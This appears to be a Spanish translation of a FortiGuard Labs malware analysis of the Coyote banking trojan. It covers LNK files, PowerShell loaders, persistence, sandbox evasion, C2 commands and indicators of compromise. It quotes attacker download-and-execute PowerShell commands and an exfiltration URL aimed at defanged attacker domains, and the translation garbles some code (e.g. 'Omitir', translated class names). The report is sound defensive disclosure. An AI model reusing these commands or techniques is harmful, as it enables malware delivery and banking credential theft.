ALCARED, Centro Autorizado de Servicios de FLUKE Networks en Perú
Portafolio de seguridad FortiGuard Informe sobre el panorama de amenazas de 2025
- Archivo LNK
- Cargador y Shellcode
- Troyano bancario Coyote
- Conclusión
- Protecciones de Fortinet
- COI
- URL
- Anfitriones
- Archivos
30 de enero de 2025
Plataformas afectadas: Microsoft Windows
Usuarios afectados: Microsoft Windows
Impacto: Controla el dispositivo de la víctima y recopila información confidencial
Nivel de gravedad: Alto
Durante el último mes, FortiGuard Labs identificó varios archivos LNK similares que contienen comandos de PowerShell diseñados para ejecutar scripts maliciosos y conectarse a servidores remotos. Estos archivos forman parte de operaciones de varias etapas que finalmente distribuyen el troyano bancario Coyote. Este malware se dirige principalmente a usuarios de Brasil y busca recopilar información confidencial de más de 70 aplicaciones financieras y numerosos sitios web. Una vez implementado, el troyano bancario Coyote puede realizar diversas actividades maliciosas, como el registro de pulsaciones de teclas, la captura de pantallas y la visualización de superposiciones de phishing para robar credenciales confidenciales. En este artículo, detallaremos el comportamiento de cada etapa.
Figura 1: Telemetría
Informe sobre el panorama mundial de amenazas 2025
Archivo LNK
El archivo LNK ejecuta el siguiente comando de PowerShell, que se conecta a un servidor remoto para iniciar la siguiente etapa: -w hid -noni -ep Bypass -c “Start-Job -Name PSSGR -ScriptBlock { IEX (iwr -Uri ‘hxxps://tbet[.]geontrigame[.]com/zxchzzmism’ -UseBasicParsing).Content }; Start-Sleep 131.”
Figura 2: Archivo LNK
Analizamos varios archivos maliciosos examinando el «ID de máquina» incrustado en los archivos LNK. Este identificador único proporciona información crucial sobre el sistema donde se originó el archivo LNK. Al extraer y analizar estos metadatos, rastreamos conexiones con otros archivos LNK maliciosos asociados con Coyote.
| URL en argumentos | Identificación de la máquina | Dirección MAC |
| hxxps://tbet.geontrigame[.]com/zxchzzmism | 0cb44b707681 | aa:1c:b2:83:1d:72 |
| hxxps://hrod.geontrigame[.]com/edsfluzevj | a8025a01fc56 | f5:12:59:16:ba:f7 |
| hxxps://easi.geontrigame[.]com/wydqfchssb | a8025a01fc56 | f5:12:59:16:ba:f7 |
| hxxps://iivi.geontrigame[.]com/zkrghotqvy | a8025a01fc56 | f5:12:59:16:ba:f7 |
| hxxps://cuzo.geontrigame[.]com/pxylqhpuiv | a8025a01fc56 | f5:12:59:16:ba:f7 |
| hxxps://btee.geontrigame[.]com/mvkrouhawm | dc0bfa46899d | e8:a5:d6:6a:57:02 |
| hxxps://qmnw.daowsistem[.]com/fayikyeund | dc0bfa46899d | e8:a5:d6:6a:57:02 |
| hxxps://bhju.daowsistem[.]com/iwywybzqxk | dc0bfa46899d | e8:a5:d6:6a:57:02 |
| hxxps://lgfd.daowsistem[.]com/riqojhyvnr | dc0bfa46899d | e8:a5:d6:6a:57:02 |
| hxxps://leme.daowsistem[.]com/omzowcicwp | dc0bfa46899d | e8:a5:d6:6a:57:02 |
| hxxps://igow.scortma[.]com/fqieghffbm | dc0bfa46899d | e8:a5:d6:6a:57:02 |
| hxxps://dejar.scortma[.]com/xzcpnnfhxi | dc0bfa46899d | e8:a5:d6:6a:57:02 |
| hxxps://llue.geontrigame[.]com/byyyfydxyf | dc0bfa46899d | e8:a5:d6:6a:57:02 |
| hxxps://cxmp.scortma[.]com/qfutdbtqqu | dc0bfa46899d | e8:a5:d6:6a:57:02 |
| hxxps://xrxw.scortma[.]com/gmdroacyvi | dc0bfa46899d | e8:a5:d6:6a:57:02 |
| hxxps://qfab.geontrigame[.]com/vfofnzihsm | dc0bfa46899d | e8:a5:d6:6a:57:02 |
El contenido de «zxchzzmism» es un script adicional de PowerShell que contiene dos segmentos de datos codificados. Este script emplea comandos específicos para decodificar y ejecutar el shellcode incrustado, iniciando así la siguiente fase de la operación maliciosa.
Figura 3: Script de PowerShell
Cargador y Shellcode
El archivo DLL «bmwiMcDec» funciona como un cargador, utilizando VirtualAllocEx y WriteProcessMemory para inyectar la carga útil «npuGDec». Posteriormente, emplea CreateRemoteThread para ejecutar el código malicioso inyectado, lo que facilita la continuación del ataque.
Figura 4: Cargador MSIL
El código inyectado utiliza Donut, una herramienta diseñada para descifrar y ejecutar las cargas útiles finales de MSIL (lenguaje intermedio de Microsoft). Esto garantiza la entrega y ejecución fluidas de la siguiente etapa del ataque.
Figura 5: Descifrar y obtener el archivo MSIL
El archivo de ejecución MSIL descifrado establece primero la persistencia modificando el registro en “HCKU\Software\Microsoft\Windows\CurrentVersion\Run”. Busca cualquier comando de PowerShell existente en esta entrada de registro. Si lo encuentra, elimina la entrada existente y crea una nueva con un nombre generado aleatoriamente. Esta nueva entrada de registro contiene un comando de PowerShell personalizado que apunta a la descarga y ejecución de una URL codificada en Base64, lo que facilita las funciones principales del troyano bancario Coyote. La URL objetivo para esta operación es “hxxps://yezh[.]geontrigame[.]com/vxewhcacbfqnsw”.
Figura 6: Configuración del registro
Si la víctima es el nuevo objetivo, recopila información básica del sistema, como el nombre de la máquina, el nombre de usuario y el sistema operativo, y la envía a un servidor remoto. También identifica los productos antivirus instalados consultando el espacio de nombres SecurityCenter2 en el Instrumental de Administración de Windows (WMI). Los datos recopilados se concatenan con un separador «|», codificado en Base64, y la cadena resultante se invierte. Esta cadena procesada se añade como parámetro y se envía de vuelta al servidor remoto de la siguiente manera: «hxxps://yezh[.]geontrigame[.]com/hqizjs/?l=y4CMuADfvJHUgATMgM3dvRmbpdFI0Z2bz9mcjlWT8JXZk5WZmVGRgM3dvRmbpdFfzlmcoNEf0IDR0Ul(omit)».
Figura 7: Enviar información del sistema
Después de la configuración y el registro, llama a “CreateProcess” para ejecutar el comando de PowerShell que se agregó al registro para invocar la carga útil:
| powershell -w hid -noni -ep Omitir -c “$w=New-Object Net.WebClient;$u=[Texto.Codificación]::UTF8.GetString([Convertir]::FromBase64String(‘aHR0cHM6Ly95ZXpoLmdlb250cmlnYW1lLmNvbS92eGV3aGNhY2JmcW5zdw==’));IEX $w.DownloadString($u).” |
Troyano bancario Coyote
La carga útil «vxewhcacbfqnsw» es similar a la descargada del archivo LNK, pero considerablemente mayor. Este aumento de tamaño se debe a la inclusión del troyano principal Coyote Baking.
Figura 8: Script de PowerShell
Obtuvimos el archivo MSIL tras descifrar la carga útil del shellcode de Donut. Contenía las siguientes funciones:
- Comprobación de nombre de usuario: examina el nombre de usuario para ver si está presente alguno de los siguientes nombres de prueba/sandbox: Johnson, Miller, malware, maltest, CurrentUser, Sandbox, virus, John Doe, usuario de prueba, sandbox, WDAGUtilityAccount, Bruno, George y Harry Johnson.
- Comprobación de la herramienta de administración virtual: Examina si el entorno contiene archivos o carpetas relacionados con máquinas virtuales. Busca cadenas en el directorio «C:\Windows\System32», como qemu-ga, qemuwmi, ballon.sys, netkvm.sys, vioinput, viofs.sys y vioser.sys.
- Crear lista de objetivos: En esta versión, Coyote amplía su lista de objetivos para incluir 1030 sitios y 73 agentes financieros, entre ellos mercadobitcoin.com.br, bitcointrade.com.br, foxbit.com.br, augustoshotel.com.br, blumenhotelboutique.com.br y fallshotel.com.br. A continuación, comienza a monitorear la ventana activa.
Figura 9: Crear una lista de objetivos
Figura 10: Conectarse al servidor
- Comunicación con C2: Coyote monitoriza continuamente la ventana activa para detectar si la víctima intenta acceder a algún sitio objetivo. Si se accede a un sitio objetivo, se conecta al servidor C2 a través del puerto 443. La lista de servidores incluye geraatualiza[.]com, masterdow[.]com y geraupdate[.]com. Coyote lee un mensaje de un servidor remoto, lo procesa decodificando y limpiando los datos, y lo prepara para acciones posteriores según la longitud de la primera cadena del mensaje.
| Longitud | Descripción |
| 10 | Desconectarse del servidor |
| 11 | Terminar programa |
| 12 | Tomar captura de pantalla como imagen/jpeg |
| 13 | Obtener el texto de la barra de título de una ventana |
| 14 | Activar una ventana y restaurarla a su tamaño original |
| 15 | Minimizar una ventana |
| 16 | Activar una ventana y restaurarla a su tamaño normal y luego mostrarla como una ventana maximizada |
| 17 | Matar el proceso objetivo |
| 18 | Mostrar superposición de pantalla completa |
| 19 | Restaurar una ventana y luego maximizarla |
| 20 | Retire la manija de la ventana |
| 21 | Apague el dispositivo |
| 22 | Habilite la función de composición del Administrador de ventanas del escritorio y luego apague el dispositivo |
| 23 | Haga clic con el ratón en una posición específica de la pantalla |
| 24 | Copiar una cadena al portapapeles y luego simular escribir esa cadena |
| 25 | Envía las teclas especificadas a la aplicación activa. Si una tecla contiene un signo «+», se envía en mayúsculas; de lo contrario, en minúsculas. |
| 26 | Deshabilitar la composición de DWM |
| 27 | Muestra la imagen falsa para un objetivo específico con un mensaje. Por ejemplo: “Trabalhando nas atualiza” (Trabajando en actualizaciones), “Aponte a câmera para a imagem a seguir” (Apunta la cámara a la siguiente imagen) |
| 28 | Limpiar, desconectar y detener la monitorización actual |
| 29 | Controlar las ventanas visibles para el usuario, cerrar la ventana |
| 30 | Ajustar la opacidad |
| 31 | Habilitar keylogger o enviar el resultado del keylogger con separador ‘¾’ |
| 32 | N / A |
| 33 | Simular pulsaciones de teclas para realizar acciones de navegación automatizadas: {ARRIBA}, {DERECHA}, {ABAJO} y {IZQUIERDA} |
| 34 | Manipular la configuración de la pantalla |
| 35 | Envía las claves proporcionadas |
Conclusión
El proceso de infección de Coyote es complejo y consta de varias etapas. Este ataque aprovechó un archivo LNK para el acceso inicial, lo que posteriormente condujo al descubrimiento de otros archivos maliciosos. Este troyano representa una amenaza significativa para la ciberseguridad financiera, especialmente porque tiene el potencial de expandirse más allá de sus objetivos iniciales. Por lo tanto, pone de relieve la necesidad crítica de contar con medidas de seguridad robustas, tanto para particulares como para instituciones, para protegerse de las ciberamenazas en constante evolución.
Figura 11: Cadena de ataque
Protecciones de Fortinet
El malware descrito en este informe es detectado y bloqueado por FortiGuard Antivirus como:
LNK/Agente.D!tr
FortiGate, FortiMail, FortiClient y FortiEDR son compatibles con el servicio FortiGuard AntiVirus. El motor FortiGuard AntiVirus forma parte de cada una de estas soluciones. Como resultado, los clientes que cuentan con estos productos con protección actualizada están protegidos.
El servicio de filtrado web de FortiGuard bloquea el servidor C2.
También recomendamos a las organizaciones que realicen el módulo gratuito de capacitación en ciberseguridad de Fortinet: Fundamentos Certificados de Fortinet (FCF) en Ciberseguridad. Este módulo está diseñado para ayudar a los usuarios finales a identificar y protegerse de los ataques de phishing.
Si cree que esta o cualquier otra amenaza de ciberseguridad ha afectado a su organización, comuníquese con nuestro Equipo Global de Respuesta a Incidentes de FortiGuard .
Fuente:
